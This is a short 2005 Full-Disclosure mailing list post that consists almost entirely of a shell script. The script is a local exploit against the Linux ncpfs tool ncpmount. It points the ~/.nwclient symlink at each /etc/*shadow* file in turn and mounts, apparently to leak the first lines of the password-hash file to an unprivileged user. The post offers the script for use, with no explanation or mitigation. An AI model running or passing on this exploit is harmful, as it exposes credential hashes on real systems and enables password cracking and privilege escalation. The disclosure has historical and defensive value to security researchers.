[Full-Disclosure] super[0]: Linux ncpfs local

Derek Callaway super at innu.org
Sun Jan 30 19:48:00 GMT 2005


#!/bin/sh
(echo  'head1 by super'
  echo -e '==============\n'
  (function head1(){
    (local -r MNTDIR=~/mnt.$$
      (mv ~/.nwclient ~/.nwclient.temp
        ln -sf $1 ~/.nwclient
        mkdir $MNTDIR)2>/dev/null
      (echo $1
        ncpmount $MNTDIR
        echo)
      (rmdir $MNTDIR
        rm ~/.nwclient
        mv .nwclient.temp .nwclient)2>/dev/null)}
  (for i in /etc/*shadow*
    do head1 $i
    done)))#



Full-Disclosure is hosted and sponsored by Secunia.